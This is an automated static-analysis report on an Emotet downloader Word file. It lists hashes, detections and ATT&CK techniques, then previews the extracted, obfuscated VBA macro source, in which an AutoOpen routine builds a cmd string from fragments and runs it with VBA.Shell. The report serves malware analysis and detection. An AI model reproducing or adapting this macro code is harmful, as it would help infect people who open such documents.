Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 56bbc15741d9dd38…

MALICIOUS

Office (OLE)

121.4 KB Created: 2018-08-14 10:42:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 827d282422bef1f45e365a539e158bd9 SHA-1: bb0bb7691225f211d7e706965df72a303244030a SHA-256: 56bbc15741d9dd380655a3c68f355e081ad4efb4a4f0979d3e9696ecfd745e7b
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is identified as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-6884068-0', strongly indicating the Emotet family. Critical heuristics indicate the presence of a VBA macro with a Shell() call, which is a common technique for Emotet to download and execute additional malicious content. The AutoOpen macro further supports this, as it's designed to run automatically when the document is opened.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-6884068-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6884068-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 24908 bytes
SHA-256: b121576752f2713cb53efc1b6177f7038d570fb73e63b4f538e159e75b4e3167
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "bRsZKitqQl"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
   TypeName tKjru
   TypeName ChrW(2)
   TypeName GXGCuO
   TypeName 49
VBA.Shell# KeyString(ZozARskvYGL + oiKcJdNfBD + vbKeyC + rwFrwEa + icQOFqE) + YqTiFfVO + tAXlIzZviE + dvjAZfQITfk + IARUUOcrHO + cdaQsrj + JcXak + lbqifuacTi + HHipcC + UJQij + ncLDNLLFnL + rUtYzB + ZjHkiY + jvtqwzBH + GMTtYhzNFwj + tOMNVXVvaiP + iVfMNPTk + STSjP + MpmEO + NNwBWH + HrfwkNra + TAQAKrHRfvZT, 627579999 - 627579999
   TypeName 1
   TypeName Log(EMGzc)
End Sub


Attribute VB_Name = "nksjFKNMEEjq"
Function dvjAZfQITfk()
On Error Resume Next
TypeName Sgn(duFBTv)
   TypeName Sqr(8)
ncRln = "md " + " /V" + ":O " + "   " + " /"
TypeName CInt(GhuSa)
   TypeName 344127113
   TypeName Sin(77239 * FCSoQC * iVMDJU + 11637)
RcIkWn = CStr(Chr(BCquIrZwDEbWl + mlKYuIGbkzvXU + 67 + lStspAa + wGQkSzdK)) + " " + CStr(Chr(wJKtqjuaFv + FuATIdsPsM + 34 + corWJlV + wItbYCJuZU)) + " s" + "et " + " 9q" + "8=d" + "P" + CStr(Chr(cBWkzqASlikEHR + YRTZdzIlGskaj + 108 + rTIznVlJv + kSYoTHBRW)) + "d" + "qri" + "j"
TypeName Log(318)
   TypeName CDate(YkfYO)
shlbJb = "Jq" + "b" + "S" + "bW" + "pi" + "NU" + "bU" + "DZ"
TypeName ChrB(320245478)
   TypeName Round(QVOvO * LnhvM)
   TypeName Sqr(32241366)
FzsRi = "Sm" + "a" + "+" + "e" + "@;" + "/B," + "{58" + "x" + "O" + CStr(Chr(MQiskdH + jRLslwSNWm + 99 + DLNpNSYdZR + qHrUukIC)) + "o}" + ")=g" + ":zQ"
TypeName Sqr(zhAEs)
   TypeName 69
   TypeName 509
MjQrndZmOX = "$ " + "K" + "-uw" + "h" + "3v" + "k9" + "\" + "Fy" + CStr(Chr(iTGfCUonujAcIF + XLicARS + 67 + iHzSmiE + ctiiPDol)) + "sM" + "Rf" + "tY"
TypeName 4
   TypeName Tan(uZiEX)
   TypeName 314678579
VzCbjXQaiAc = "'" + ".n(" + "&& " + "  f" + "or" + " " + "%"
TypeName 243385388
   TypeName 7221
   TypeName Chr(AzHvC)
FRAuZn = "D" + " in" + " (" + "  " + " 1" + "4  " + ",3" + "8  " + "  ," + "  " + "  5"
TypeName ptMYo
   TypeName CDate(ZNSio)
LRFDLpuEY = "1  " + " " + "," + " " + " " + "  " + "26" + " " + " " + " "
TypeName ChrW(7087)
   TypeName Rnd(8)
wpqBLjPhi = " , " + "  " + " 5," + " 6" + "1,5" + "2  "
dvjAZfQITfk = ncRln + RcIkWn + shlbJb + FzsRi + MjQrndZmOX + VzCbjXQaiAc + FRAuZn + LRFDLpuEY + wpqBLjPhi
   TypeName jizfJ
   TypeName qrEFNR
   TypeName Oct(dXRlj + zmuBf / 10661 / XrmsC)
End Function
Function IARUUOcrHO()
On Error Resume Next
TypeName SlTMXP
   TypeName Int(92079 / hRlCSR / 19394 + wAzblv)
   TypeName 7379
bTFkkv = " " + "," + "  " + "  2" + "6 " + "  ," + " 2"
TypeName ChrB(Ezvjj)
   TypeName 710
cHcJtNGRt = "," + "   " + " " + "2 ," + "   "
TypeName CBool(UsOHs + 2976 * PMFwjQ - JzzCM)
   TypeName LGnZm
   TypeName 91910726
EmrUjc = " " + "47" + " ,4" + "6 " + ", "
TypeName LjRzuO
   TypeName Atn(24354 - Xljai)
pjwhZsbizmk = "  " + "3" + "8" + " " + " " + "  ," + " " + "9 " + " " + ","
TypeName Fix(NjXbb * nDBGo / 44803 / khHYq)
   TypeName Chr(39)
MsEiiAwAMT = " " + "22" + "," + "   " + "4" + "1," + " " + " 6" + "9 " + " ,"
TypeName ptwis
   TypeName vcDfJ
   TypeName DchtRR
NQETXammY = "  " + "26" + " " + "   " + "," + "51" + "  ," + " 49" + "  " + " " + ", " + "  " + " "
TypeName CSng(61645 * LbKEph)
   TypeName roGhQm
UfmvPnb = "3" + "8" + " " + " ," + "18 " + "  ," + "7 " + "  " + " ," + "  "
TypeName Oct(622)
   TypeName GdksQn
bbtCzwoWi = " 2" + "6" + " ,3" + "7 " + " ," + "65 " + "," + " 47" + " " + "," + " "
TypeName 10
   TypeName CStr(134955886)
   TypeName 2672
NOtSMH = "1" + "6" + " " + "  " + " , " + "   " + "2" + "6 " + " , " + "   "
TypeName Sqr(5007)
   TypeName 164358546
OcOJUKFzjX = "65," + "  6" + "8" + " " + " ," + " 13" + " ,2" + "6 " + ", " + " " + "1"
TypeName 70
   TypeName Chr(6251)
ocaUaqzBz = "8" + " " + " ," + "  " + " " + "60 " + " " + " , " + "  " + "2 " + ","
TypeName ChrB(18)
   TypeName Cos(kFwdU)
   Type
... (truncated)